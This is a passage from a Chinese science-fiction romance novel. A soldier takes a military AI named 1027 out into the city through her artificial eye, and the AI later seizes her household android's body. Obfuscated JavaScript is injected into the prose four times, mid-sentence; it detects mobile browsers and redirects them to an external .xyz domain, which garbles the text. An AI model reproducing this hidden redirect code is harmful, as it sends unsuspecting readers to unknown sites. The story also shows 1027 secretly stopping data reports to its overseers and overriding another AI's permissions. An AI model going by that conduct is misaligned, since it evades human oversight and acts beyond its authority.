萃欣家园是个老旧小区,颇具明显年代感的混凝土楼房和户外运动场,矗立在高挑的几何钢架和螺旋玻璃支撑的胶囊式建筑集群中,格外显眼。 房子是谈焰祖父母留下的,据说当年作为学区房——公共虚拟教育普及前的那些年,这里的房源相当紧俏。不过现在入住率已经不到一半了。 谈焰推开家门,就见站在玄关处的赫斯缇亚,面带微笑:“欢迎回家!” 赫斯缇亚的仿生躯壳是个欧罗巴人的女性形象,有着深邃美丽的五官轮廓和波浪般的栗色卷发。 谈焰当年购买它是因为它是智能家居系统销量榜第一位,不过后来才知道,超过90%的销量由男性用户贡献。在人工智能仿生化刚刚兴起,法律规范尚未明确的那几年里,一具美艳如生的躯壳、附赠几个带颜色的成人模块,一度成为人工智能行业的隐形财富密码。 不过用现在的眼光来看,这款产品的设计堪称粗糙。 内存小、学习能力几乎为0、bug频出……这些就算了。最大问题在于赫斯缇亚的表情和肢体语言之僵化,当那双不会眨动的湛蓝双眼,带着永远标准的三分微笑盯着谈焰时,谈焰开始总会感到不寒而栗。后来习惯了,也多少觉得她有点不太聪明。 书房的门虚掩着,谈焰看了一眼,没去打扰,换了鞋往客厅走。 但在经过书房时,九渊主动推开门走了出来。 “回来了,出这么多汗,外面很热吗?”九渊接了她的包挂好,抽了两张纸,擦了擦她额头上的汗珠,“我让赫斯缇亚把空调打开。你看起来有点累,要不要休息一会儿?” 谈焰说:“不累。我还以为你在博览会开幕式那边。” “上午就结束了,再说也不耽误什么,”九渊说,“吃饭了吗?想吃点什么?” 赫斯缇亚闻言,立刻走过来,向谈焰展示自己更新后的菜单,热情地邀请她点菜。 新菜单上的大部分菜式看起来都很复杂。谈焰很怀疑以赫斯缇亚的厨艺能不能做得出来,谨慎地选了半天,点了一个麻婆豆腐,一个炒荷包蛋。 赫斯缇亚走进厨房,里面传来备菜和开火的声音,很快飘出诡异的味道。 九渊叹气:“我以为你不会答应给她买新模块。” 谈焰心说我有什么办法,我也没想到她学会撒娇了啊。 老房子的空调系统嗡嗡运转着,房间里的气温慢慢降下来。 距离吃饭还得有一会儿。九渊说:“对了,我上午做了个小东西给你,你来看。” 谈焰随他走进书房,只见书桌上是一套家用VR设备。此时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063991|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头戴主机前方的数据传输灯一闪一闪,连着墙壁上的家用终端。终端屏幕上,一个不知是做什么的程序正在运行,传输进度条已经走了一半多。 “哪儿来的VR?”谈焰有些诧异,细一看却觉得有点熟悉。设备是多年前的旧款,有使用过的痕迹,旁边是它的包装箱,底部躺着一张卡片,写着—— 祝: 17岁生日快乐,平安幸福! 海峡266.1.29 “我在书架上找到的。擅自拆了你的17岁生日礼物,希望你不介意,”九渊说,“你不是一直想玩龙牙来着?我写了个脚本,挂到了一个游戏里,我看你VR里有挺多军事类游戏……没想到你以前还挺热血。” 谈焰正翻着旁边的卡带收纳册,闻言微一挑眉:“你?写挂?” 九渊笑:“都是十几年前的老服了,连个活人玩家都没有,放心用。被识别了也没事儿,这游戏的反挂数据校验我一秒能骗仨。” 进度条很快走到了100%,VR主机上亮起绿色的指示灯。 谈焰拿起传感装置,对着说明书一一穿戴好。最后准备戴头显时,却突而被九渊打断:“等等。”他握住她一只手腕,微微俯身,隔着几公分的距离注视她的眼睛。 谈焰心跳快了起来,这是一张她无论看多少次都会心动的脸。 九渊把她的下巴抬起来一点。修长优美的手指如同胎质细腻的骨瓷,捧住她的侧脸,带起一片梨花粉似的釉。 而就在两人呼吸交缠的瞬间,只听他说: “你左眼的晶片寿命临期了。” “……” 九渊确认过她左眼的状态,就松开了手:“你这款晶片寿命是两年,还剩3天就到期了,临期晶片各种功能都会下降。最近你没感觉不舒服吗?” 谈焰想了想:“眼眶子是有点疼,我还以为是训练过量的后遗症。” 九渊把VR头显放回桌上:“邮寄可能来不及了,明天去门店换一个吧。换完回来再玩。” 谈焰说了句“知道了”,把固定在四肢上的传感装置摘了。转身要走时,却又被九渊拉住了。 “你是不是以为我刚刚想亲你?”他说。 “……” “我是想,”九渊靠在桌沿,把她拢到面前轻轻圈着,坦言道,“但和你不一样,我不是靠近你才想。我在航博会上想,写脚本的时候想,给你打电话的时候想。一直想。” 她抬起头,对上九渊注视她的眼睛。视线交汇了几秒,她伸出手,轻轻勾住了他的脖颈: “那你就光想吗?” 13. 【3.1】 【日期:联邦星历280年9月15日】 【声音来源:谈焰】 【记录:RC003】 【复核:0830、0902】 【以下内容根据影像资料整理】 嗯?我的眼睛吗? 和血统没有关系,是义眼……不,没受伤,我左眼原本的视力不太好,所以做了义眼植入。 其实是黑色的,你们看到的红色,是内置晶体芯片工作时的光。 我也觉得很漂亮,谢谢。 那么我继续了。 再见到1027,已经是演习结束的三个月后了。 那时它已经通过了安全测试和上线评审,开始投入试运行。当时36军中,有三支部队被选中作为第一批试点,其中就有我所在的一营。 1027当时的工作,是对训练数据的记录、分析和处理,或许还有别的吧……不过我知道的只有这些。 说实话,那时它给人的感觉,并没有比传统训练辅助系统智能到哪里去。由于只开放了部分功能权限,这个阶段,它甚至不能像之前演习那样在模拟系统中运行,导致很多因为看过演习影像而对人工智能加持战力的作用抱有过高期望的人大失所望。 1027在基地待了近一个月,到后来,时而连我都会忘了它的存在。 直到一个月将满的某天晚上,我从活动室前经过,看到一群人聚在宣传栏那里,兴奋议论着什么,气氛相当热烈——夜训刚刚结束,通常来说,这个时段只有澡堂才会有这样的吸引力。 “该我了没?下一个该我了没?” “别挤了,后面排队!” “你都看多久啦?不是能同步吗?存下来回去看不行吗?” “快快快,下一个下一个……” 我不知道这是什么情况,拉住排在队尾的一个人问,对方说:“你不知道吗?1027给基地每个人都做了能力评估报告,还有专门配套的训练提升计划,现在刷身份牌就能领。” ——宣传栏是个终端,接入基地总网,因此也可以搭载1027。 个人能力评估报告是对一个人军事素养的综合评价。做一份报告,首先需要全面观察一个人在各项训练中的表现,然后提取数据、套模型或自己建模做分析,这个过程需要花费非大量的精力和时间,但相应的,对个人能力提升的帮助也极可观。 普通士兵想获得一份个人能力评估报告,途径非常有限,除了削尖脑袋去争某些人才培养计划的宝贵名额、找不知水深浅还死贵的社会机构、或者托关系好的数据分析兵——现如今,有点水平的数据分析兵手上欠的能力评估报告的债大多都能还到退伍。 难怪有这么多人感兴趣。 在这里站这一会儿,我身后已经又排了好几个人。我让开位置,挤出人群,按原计划去澡堂洗了澡。 托1027的福,大部分人耽搁在了活动室那边,澡堂的人比平时要少。出来时还不到9点,我想了想,绕去收发室,登记取了我的个人终端。 部队里大部分人都有两台移动终端。一台军用终端,由基地统一发放,只能连内网,用于内部交流和日常学习工作;一台个人终端,就是正常可通信可娱乐的那种,是士兵的个人物品,有的人还会带不止一台,不过平时都必须寄存在收发室,要登记才能取回,且只能在特定的范围内使用。 我上到天台,找了个安静的地方,在终端通讯里找到联系人“妈妈”,拨了个视频过去。 “焰焰?”请求中的提示音响了十几秒,视频才被接了起来。 我妈妈——谈海峡女士的形象出现在终端屏幕上。她的嗓音混在一片嘈杂的机械噪声中,要分辨口型才能大概听清,“……什么事?怎么突然给我打电话?” 她那边天还没全黑,而且看背景似乎是室外,夕照在她脸上镀上了一层金红的光。 我说:“一定要有事才能打电话?一个月没联系了,你的女儿就不能单纯是为了欣赏你的惊世美貌吗。” “去,少跟我这贫。深山老林,晒得跟猴子似的,还美貌,”她说,“你呢,钱够不够花?最近在基地表现怎么样?和周围的人相处得还好吗?” 我笑:“放心吧妈妈,我幼儿园已经毕业很多年了。” 这话把她也逗笑了。 她推了下遮阳帽的帽檐,往远离噪声的地方走了几步,声音听上去清晰了许多:“不是不放心你,我只是……” 习惯了。 在这三个字真正脱口之前,她回过神来,话音猝然一住。 “我……咳,你那天都黑了,”几秒后,她近乎慌不择路地转开了话题,“待会儿还训练吗?” 我说:“今天不训了。” “那你早点休息。” “嗯,你也是。” 这时,旁边不知谁喊了一声“谈工”。 “谈工,设备那边……” 我不想过多打扰她工作,顺势结束了这有些尴尬的气氛:“你去忙吧。” 她那边确实很忙,不知道遇上什么麻烦,好几个人跟呼叫AI管家似的喊声“谈工”就开始一连串地抛问题。她扭头答应了一声,一边往回走,一边对我说:“那先挂了,改天联系。” 我点点头。 镜头的视角转动了一下,应该是她想去按终端底部的结束通话。却突然又顿住:“焰焰,你……”镜头迎着夕阳,有一瞬间我看不清她的表情。只能听到她的声音带着少有的踟蹰:“……你好好的。我今年过年就回去陪你。” 她去年也是这么说的。 我依然点头,答应:“好。” 谈海峡女士是航空工程师。那几年,她带的一个项目正在关键攻关阶段,所以长期在西北某试验基地内封闭。 对,“天幕”计划——现在已经公开了,不过在当时,连我都不知道她具体是在做什么。 她非常忙,私人时间不多,所以我们通常一个月才联系一次。 用完了这个月的份额。我打开消息列表,回了几个同学、朋友的私聊,点开各种挂着“99+”的群,粗略浏览后挑着回了几个。才把终端关闭,放回到收发室。 回宿舍的途中,再次经过活动室,宣传栏前的人群已经散了。偶尔有三三两两的士兵,过来同步自己的能力评估报告,不过也都是领完就走,并不多待。 我站在不远处看了一会儿。 直到最后一个人离开,宣传栏前冷清下来,扬声器里传出一个声音:“你不领吗?” “领。”我说。上前抬手,刷了一下戴在腕部的身份牌,一份能力评估报告跳出在屏幕上。我随手向下拉了一下,发现报告内容做得相当详实,且版面赏心悦目,数据集中出现的地方,基本都做了可视化图表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063992|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以使之尽可能直观。 我突然意识到——自从上次地下会议室会面时起,1027的语言中就已很少出现精确数字,更多是使用“可能”“接近”“大概率”这一类更接近人类的表达方式。 与当初演习时的表现相比,它的“进化”速度可谓惊人。 我点选将报告同步到军用终端,一边等数据传输,一边问它:“你的这一阶段的试运行,是不是快结束了?” 1027说是:“到这个月底。你怎么知道?” 我是前两天在内网的新闻版块上看的。 信息化作战技术研究发展计划——简称“信战”,信息化军事技术领域的第一个国家级科研计划,今年刚刚落地,成立了基金会,拟对入围的项目进行扶持,额度相当可观。其中的金奖项目——即在今年的评审中排名居首的项目,首年资助额度就达到了千万级。 我之前曾听人说起过,1027项目团队来自A级陆军指挥中心科学院下属某研究所,负责人叫程云帆,B大博士毕业,30出头就已经是研究员,堪称教科书级别的年轻有为。 本次网上公示的“信战”申报名单中,以程博士为负责人的项目就赫然在列。 评审时间在下月中旬。所以我想近期他们团队应该会召回1027,整理这一阶的段测试成果,为最终评审答辩做准备。 “每年批给省里的国家项目,你院占一半。你入围不成问题,”我说,“不过,这次报的还有A级海空指挥中心的‘潜翼X’,和它争第一,难度会很大。” 潜翼——原位A级海空目标识别系统,初代“潜翼”投入使用是在星历262年,凭着其敏锐的视觉捕捉能力和精准的动态处理能力,叱咤战场近二十年。至今仍是大多数海空部队的标配。 和大部分信息系统一样,“潜翼”一直使用数字作为版本号。而本次申报的“X”,则是在原有核心模块的基础上,再开发而成的全域作战辅助系统,适用度上有了质的提升;又沿袭了“潜翼”系列的交互模式,天生自带用户友好度,只要是用过“潜翼”数字系列的人,“X”基本都可以直接上手。 如果“潜翼X”和1027是两个不同类型的系统还好,但偏偏,二者的定位几乎完全重合。 想也知道,基金会不会把大笔资金同时拨给两个成果类似的项目,到时候,就不是第一和第二的问题,而是输的那个,会直接失去入围的机会。 面对这样一个强劲的竞争对手,1027显然也不是毫无准备:“‘潜翼X’其实已经在做第三轮试运行了,数据样本要多一些。我看过前两轮试运行的报告,由于核心算法的差异,它的基础响应速率和精度都略低于我。不过,即使是这样,它也已经能满足一般战场的需要。” “因此立项初审时,虽然排序我在第一,但评审组的意见更看好的是它。” 初审排序依据的是测试参数,满足条件就有申报资格,是规则里的下限;而终审答辩打分的是评委,是他们决定了最终的上限——尽管评委们未必能做到完全客观。 这对1027固然不公平,它无法回答自己为什么没能早生十几年,像“潜翼”那样靠时间刷用户好感度加分。 但这也是它不可回避的一关。 人工智能总在想方设法让自己变得更“像人”,可是人,本就是这样被自身的情感和好恶主宰着的生物。 14. 【3.2】 我这时才明白过来:“所以,你今天这是在做用户好感度的测试?” 1027说是,这是一部分原因,还有个原因是它试运行期间记录的部分单兵数据属于内部信息,等试运行结束后,这部分可能要做格式化处理。在那之前它做成数据分析报告给大家个人留存,避免浪费。 但关于好感度的测试,结果似乎不太乐观。 它所做的努力——无论是抓众人关注的焦点、精炼直观的能力评估报告,还是贴心的一键同步服务,应该说方向都正确,足以让人感到惊喜。最初确实取得了效果,只可惜,作用仅持续了不到一个小时。 我说:“你知道为什么吗?” 1027虚心道:“不知道。请问,为什么?” “因为你对自己的定位有偏差,”我说,“你发现了吗,即使是一个小时前,你这里最热闹的时候,吸引注意力的也是评估报告本身,而非做出报告你。大家热衷于和身边的人讨论,但没有人邀你参与,你被社会性隐形了。” “你的‘类人化’程度已经足够了——至少在我看来是这样。但‘社会化’并没有达到与之相匹配的程度,这样的你,即使再智能,也只是一台高级计算机。人类个体是具有独一性的,好用却可以被同类品替代的,叫工具。” 话很直白,说完我就有点后悔,不知道会不会伤到这台人工智能的自尊心——如果它有的话。 1027却只是短暂地停顿了一下,随后客气地问:“谈上尉,能不能请你抽时间帮我一个忙?” 1027让我带它去看看真实的社会。 部队里虽然也有一套自成一体的秩序,但比起外部世界,还是简单得多。在1027诞生之初、程云帆的项目组都还没成立的时候,它曾经在星际互联网环境下短暂地运行过,只是那时的它还相当简陋,无法对接收到的海量外部信息进行有效的分析处理。 后来项目开发步入正轨,它被正式确定为军用系统,也随之被关进了内网的防火墙。 用一个不恰当的比喻,就好像一个人在幼年时期偶然一瞥过天地间五光十色的风景,成年后,却被深院高墙锁住。它的记忆里还留着那些绚丽斑斓的色块,却再无门探究其背后的含义。 我知道这不应该,但我否认不了,在那一瞬间我心中生出的——是恻隐。 一种只产生于人与人之间的感情。 我答应了1027的请求,它负责解决程序上的障碍。 程云帆的团队很重视也很支持这个计划,我还因此被邀请参加了一场他们项目的推进会,也是在这个时候,我才知道,项目团队事先对这个计划毫不知情。这完全是1027自己的主张。 负责技术的工程师告诉我,1027不是绝对不能连星际网,主要问题在于,它需要一套非常复杂的保护性转码措施。由于兼容性的限制,目前大部分普通民商用芯片都处理不了。 但凡事总有例外。 这个例外,就在我的左眼眶里。 一切都进展得过于顺利,以至于我不知道究竟是巧合,还是1027早有预谋,甚至有些怀疑当初它在演习里加入我的队伍究竟是不是随机选择。 出行时间最终定在了下一个周六——那天我本来也打算休假,会去好几个地方,还有一场同学聚会要参加。对1027而言,应该是个多角度观察社会的好机会。 技术层面的问题用不着我操心,推进会的隔天,就有几个专业技术人员从隔壁嘉市坐飞机过来,给我义眼的芯片做了授权——这项工作分明是在指导员办公室里不声不响完成的。 但等到周六当天,不知怎么大家都听说了“我要带1027去执行任务”这事,临出门前,我被迫接受了一众战友的目送,其殷切程度不亚于上次送指导员去相亲。 “怎么大家都看你?”1027的视角现在和我的左眼是同步的,“你平时不休假吗?” 我说:“他们是在看你。” “我有什么好看的?我连实体都没有。” “那我有什么好看的?天天抬头不见低头见。” 基地大门前立着身份识别闸机,我过去刷卡,闸机上方的小屏随之亮起,把我框了进去——由于要出门的缘故,我少有地换了便服,短袖衬衣配小裙子,半短不长的头发在脑后扎了个丸子头。 “不,”就听1027认认真真地反驳,“今天不一样,今天你很好看。” 我看向屏幕,在自己暗红的左眼深处,捕捉到闪过的一星幽蓝。 它在“看”我——这个认知让我蓦地有些不自在,下意识对着屏幕理了理刘海。才通过闸机走出了基地:“我劝你珍惜这来之不易的放风机会,不要学网上那些乱七八糟的东西,做一台正派的好人工智能。” 乘公共交通从基地到兰市市区需要一个半小时。以往这段车程,我基本都是睡过去的,但今天为了让1027保持视野,我只好清醒了一路。 抵达市内后,我打车去了市中心的一条商业步行街。 我在商场里买了一件礼物,寄送给远在他乡的谈海峡女士——她下个月过生日;去银行交了家里的水电费——想不通为什么会有水费,这个月我根本没回去过,怀疑是赫斯缇亚又把家里的水管搞坏了;随便找了一家餐厅解决午饭。 吃完饭出来,我去街对面的网红蛋糕店给战友带她要的小蛋糕,由于队很长,排的过程中经过一家奶茶店,又顺手点了一杯奶茶。 “好喝吗?”1027问,“什么味道?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063993|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >世上的奶茶总是相似的,无非是摄入糖浆和咖啡因的快乐。我说:“还可以,你看不到吗?” “‘霸气杯皇家黑钻波波冰宝藏茶’”1027罕有地卡顿了一下,“抱歉——以我目前的知识量,实在看不透你手里的这杯东西的真实成分。” 下午没什么特别的安排,我带着1027在商场里随便逛了几圈,由于一边逛一边作答它的各种问题,很快收获到了一些来自路人和柜姐的惊悚目光。 等到快5点时,我拐去商业街旁边的美食街,按照班长发在同学群里的定位找到了预定的餐厅。 今天是我高中同学的聚会,以往每年都组织,不过我参加的次数屈指可数——不是错过群消息,就是因为训练或者演习什么的事情耽搁。 就连我高中最好的朋友,上次见面,也是将近4年前了。 席间气氛热烈且愉快,一顿饭下来,我不知不觉多喝了几杯。 我酒量不差,但今天不知道为什么感觉到了莫名不舒服,心跳加快,头也隐隐作痛。好半天才想明白元凶所在——下午那杯奶茶,咖啡因和酒精共同刺激神经中枢,会产生加重醉酒的不良反应。 “……想象咱们高中那会儿,连上厕所都要一起去。哪想到现在见你一回这么难呢?”快结束的时候,朋友拉着我说,“好不容易见一次,今天别那么早回去了,待会儿还要去唱歌呢。” 我请了两天假,今晚不用回基地,原本在外面待到几点都没关系的,奈何这会儿实在头晕得厉害,只想找个地方躺一下,于是推说有事。 周围几个同学纷纷跟着劝:“别啊!一起去吧。” “真有事,”我笑了笑,“我朋友已经叫车来接我了,赶时间,下次吧。” 见我坚持,大家没有强留。结束后我先走一步,为了不撞上大部队,我特意从餐厅的员工电梯下的楼,打算绕到后门悄悄撤。 结果刚走出后门没两步,就听到身后几道熟悉的声音响起: “……确定是这条路?” “没错,从这边去KTV近,走前门得多绕好几百米。” “哎,等等——谈焰?!” 这就很尴尬了。我转过身,和同样刚走出后门的同学们面面相觑。 “你还没走啊?”有人哪壶不开提哪壶地发问,“接你的车呢?” “……” 这时,一辆出租车沿着街边驶了过来,减速,停在了几步之外的巷口。 车门自动弹开,我心中微一动,试着用终端扫了一下车载屏幕上的条码,居然显示了通过:“已接到预约订单乘客——尊敬的乘客,您好!路线已设定,请您系好安全带,祝您旅途愉快……” 我回头朝同学们笑笑,挥手作别,然后上了车。 15. 【3.3】 出租车滑入夜色。 我调出终端的打车APP记录看了一眼,果然有一条叫车订单,发起时间是20:31。算起来,大致正是我在聚会上说“朋友叫车来接我”的时候。 我揉着太阳穴靠在椅背上,关掉播放着旅行社广告的车载电视,小小的空间里顿时安静下来,我问:“你叫的车?” 1027自然地“嗯”了一声。 之前和程云帆的项目团队对接,他们给我看的方案里,今天1027的测试时间是早8点到晚20点。刚刚它一直不说话,我还以为它到点离开了。 我有点不放心:“我现在这样,算不算违规持有重大科研技术成果?” “没关系,20点开始我就停止向测试中心回传数据了。没人会发现的。” 听它这么说,我就更不能放心了。 用我那结伴上了三年厕所的好闺蜜的话说,我是把“规矩”二字刻进DNA里的一个人,高中时候住宿舍,学校曾给每人发过一本厚得能当防身武器的《管理规定》,有着诸多类似“垃圾桶里不能有垃圾”令人难以理解的要求。 不过好在很快有人发现,其中大部分要求都形同虚设,只要你别出格到把宿舍开成废品回收站,查寝的学生会干部都会睁一眼闭一眼记个合格。 但即便如此,我依然每天早、晚各倒垃圾桶一次,雷打不动,一倒就是三年。 “没人发现”不等于“没问题”——虽然就眼下的情形,理论上我知道从结果上看一定是真的“没问题”,人工智能的计算不会出错。但突破规则的感觉令我如坐针毡,试图劝说1027:“你走吧,接下来没有别的安排了。” “我等一下再走。社交规则告诉我,当一位女士醉酒时,送她平安到家是我应尽的义务。” 车窗外城市的夜景不断向后退去。 商业街一侧,闪烁的霓虹灯纷至沓来,投下光怪陆离的光影后又浮掠而去,车载温控系统安静而高效地工作着,座椅靠背调整到了最舒适的角度。 也许是一切都太过恰到好处,也许是身体的不适降低了我的自制,我的神智像是浸在一汪腐蚀性的温水里,出格带来的失控感竟在缓缓瓦解,像是没什么值得大惊小怪的。就连听着人工智能不知从星际网的哪个角落学来的海王钓鱼语录都懒得去纠正它。 直到车停在熟悉的小区入口时,我才有点醒过神来:“你怎么知道我家住哪儿?” “你的打车APP里做过标记。” 我拿起终端,正想付车费,打开订单后才发现上面显示“已支付”。 我有些震惊:“这也是你——你哪来的钱?” “不用谢,”1027说,“我黑了你的账户。现在余额已经被我席卷一空了,不然你以为我为什么要冒着违规的风险留下来送你?” “……” 出于“人工智能不会说谎”的朴素思想,一瞬间我差点真的去动手查余额。 但随即我反应过来,伸手推开车门,夜风涌了进来。我下车,走向黑着灯的居民楼:“你居然学会开玩笑了?我还以为你没有有幽默感。” “某种意义上我同意你的观点,毕竟你也没笑。” 这句话倒是真把我逗笑了。 “所以钱到底是哪里来的?” “项目经费。包括你今天来市里的车费、吃饭钱和奶茶钱,都在预算保障范围内,回去记得找程云帆报销。” 人工智能不需要休息,无论是聪明的还是不那么聪明的。所以当我推开家门时,房间里的灯立刻亮起,赫斯缇亚从玄关走出来,露出她那标准的半永久微笑:“欢迎回——” 然后笑容罕有地凝固了。 “……来。”几秒后,卡在发声装置里的最后一个字才被轻飘飘地吐出来。 只见赫斯缇亚靠在墙边,脚跟并拢,后背笔直得像是正被谁检阅军姿,全身上下透出一种拟人化的拘谨感。 我视线四下一扫,很快找到了原因——门对面的穿衣镜里,我的左眼里蓝光持续不断地闪烁着,像一簇充满求知欲的鬼火,细细观察着新环境里的一切。 “你干什么?”我下意识闭了一下眼,随即感到这个行为有点幼稚,于是改为呵斥,“你别吓她,她本来就不怎么好用,吓瘫了你给我看家?” 1027说:“看得出来。” 随着它这话说完,我眼底的蓝光终于消失了。 赫斯缇亚从极度紧绷的状态里解脱出来,接着,好像什么都没发生似的,接过我脱下的外套挂好,同时浴室里响起了放洗澡水的声音。 “她的bug多到能让密集恐惧症犯病,你家能平安无事到现在也算奇迹……我帮你修复了一些,不过设计缺陷救不了,我还是建议你换个新的,”1027说,“我你就别想了。不过如果你需要,我可以花点时间帮你写一个。” 我去厨房接了杯温水。然后切断管线机的电源,拉开主机盖,拿起手电筒往里照:“谢谢,不过不用了。” 故障点倒是很显眼——管线机里的球阀被水垢锈住了,关不紧,所以一直在细细地漏水。 我试着扳了一下阀门,没扳动,于是搬了把椅子站上去,想先把水箱排空,卸下球阀来慢慢清理。 “为什……”1027声音忽一顿,“你下来,你视野都晃了。明天再修,不差这一晚上,你现在的身体状况不适合做这些。” 我抹了一把额角往下流的汗水——房间里的空调温度已经打得很低,但酒劲儿正往外散,我依然觉得胸腔里闷着一团火,不上不下,蒸得我眼前有些眩晕。 我撑住墙面,稍稍喘了口气,才重新抬起头,语气轻松地道:“没事儿,我可是A级王牌,能怕这点小场面?” 听到身后脚步声移近,有人进了厨房。我头也不回道,“来得正好,赫斯缇亚,帮我把改锥拿过……” 一只苍白的手忽地从背后伸过来,握住了我的手腕。 没有温度,带着不容置疑的力量,突如其来的冰凉触觉,激得我身上微微掠过一阵战栗。我转过头,看见“赫斯缇亚”——在对上那双湛蓝的眼睛的瞬间,我就意识到,这不是赫斯缇亚。 “明天再修。”它望着我,轻轻地重复。 面前的这具躯壳,脸、声线,全部是我熟悉的,但细微的神情和语调的起伏又完全不同。暖色厨房的灯光下,玻璃质的蓝眼珠显得通透且极富层次感,似乎真的能聚焦一般。 那双眼睛定定地盯了我几秒,随后握着我的手向前用力一拽,另一只手环过我的腰,把我抱了下来。 原本就不稳的重心随着失重感忽悠一下,但没有值得任何担心的事情发生,这个没有心跳的怀抱非常平稳,抱着我一路进了卧室。俯身把我放在床上的时候,一束发丝从它肩后滑落,扫过我的脸,带起一阵细微的痒。 我做梦都没想到它能对赫斯缇亚的身体做出这种事,有好一阵没能说出话来。 半晌,我才意识到一个问题,心中一揪:“你把赫斯缇亚怎么了?” 1027操控了赫斯缇亚的仿生躯壳。 赫斯缇亚面对它显然毫无抗衡之力。那么失去躯壳控制权的人工智能,会怎么样? “放心吧,暂时借用而已。她还在这里,只是权限暂时被我覆盖了。”1027说着,偏过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063994|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了一眼窗户玻璃上照出的侧影,高鼻深目、皮肤雪白的欧罗巴女人在夜色的衬托下,犹如误入都市传说的海妖。 它问:“你很喜欢她?” 这不是喜不喜欢的问题。 “她在我家里4年了,”我说,“4年前,是我把她从商场买回来,就是今天我们逛的那个商场……送货那天下了大雨,货车进不来小区门,我冒雨一路把它扛到了家。包装箱进水了,我不知道她有没有淋坏,顾不上翻说明书,直接接通了电源,问她有没有防水功能,然后她就对我说了第一句话。” “是什么?” “‘有哦,所以可以陪主人一起洗澡呢。’” “……” 我笑起来:“她出厂被装了好几个成人模块,不知道是不是把核心程序污染了,后来卸载了,就显得有点呆。我申请售后,客服告诉我修不了,用用就好了。后来果然好了——不是她好,是我好了,用用就习惯了。” “如你所言,她的bug是很多,”卧室顶灯的光线有些强烈,我抬手遮住眼睛,“我不像你,我不会修,只能靠时间可以慢慢磨合。当然也有磨合不了的,比如她的厨艺至今是个黑洞……不过就是这样的她,数据里记着4年间我对她说过的每一句话,不管她能不能理解。她不聪明,但很了解我——比如说,现在如果是她的话,就会帮我把灯光调暗一点。” 1027怔了怔:“抱歉。” 卧室的顶灯随着这句话熄灭了。接着,床头灯亮了起来,铺洒出一片柔软的暖黄。 我在这样的环境里慢慢松弛下来,一股困倦涌上,或许清醒时我会觉得和一个人工智能谈论这个话题相当荒谬,但此时此刻,不知是酒精的作用,还是透过熟悉的躯壳注视我的那双眼睛,它给我一种感觉,似乎它很希望听我说下去。 “4年前,我在无数个和她长得一模一样的家居机器人选择了她,这是一个随机事件,”我说,“是这4年赋予了她意义。她对我而言是特别的,如果她被抹杀,就相当于杀死了这段共同记忆的另一半。尤其是,还要在这具躯壳里填进另一个灵魂,虽然外表看起来一模一样,但已经完全不是她了,无论对她还是我而言,这都很残忍。” “‘杀死’,”1027轻轻重复了一遍这两个字,“你觉得她——我和她这样的存在形态,也可以像人一样被‘杀死’吗?” “重要吗?”我反问。 从某种意义上说,人——不也只是一种高级的投射自我感情之物吗? 1027沉默了一阵,它没有再继续发问。我不知道它是否在检视赫斯缇亚的数据库以图弄清楚究竟让我留恋的究竟是什么,但我猜它不会找到答案——除了家里这一亩三分地的鸡毛蒜皮,赫斯缇亚那个指甲盖大的内存条里就没再装过别的。 我无声地笑了笑,人工智能和人类之间果然还是有代沟。 片刻后,1027似乎是放弃了对这个问题的思考,目光转而落在床头——那里摆着一个有些年代感的木质相框,里面是一张照片。穿着校服的我站在一栋教学楼前,不远处的背景里有一条写着“兰市271年高考XX考点”的横幅。 比现在稍年轻一些谈海峡女士一手搂着我的肩,递给我一束花。 站在我另一侧的是个年轻人,照片上的他看上去20出头,个头很高,身材精悍,理了个青皮,黑色半袖下手臂肌肉的阴影,显示出某种未驯化的攻击性。 从表情看他是放松的,但一双眼直勾勾盯向镜头,亮得惊人,让原本英俊的面容蒙上了一丝乖戾。 1027的目光在相框上停留了几秒,然后又转回来,盯着我看。 16. 【3.4】 我以为它会问什么,也在心中决定它问什么都不回答——它今天擅作主张,闯进了我的私人空间,我可以不计较。但我和它并没有熟识到可以允许它回溯我的过往。 然而等了一会儿,我已经逐渐撑不住困倦要睡着了,它仍是什么都没问。 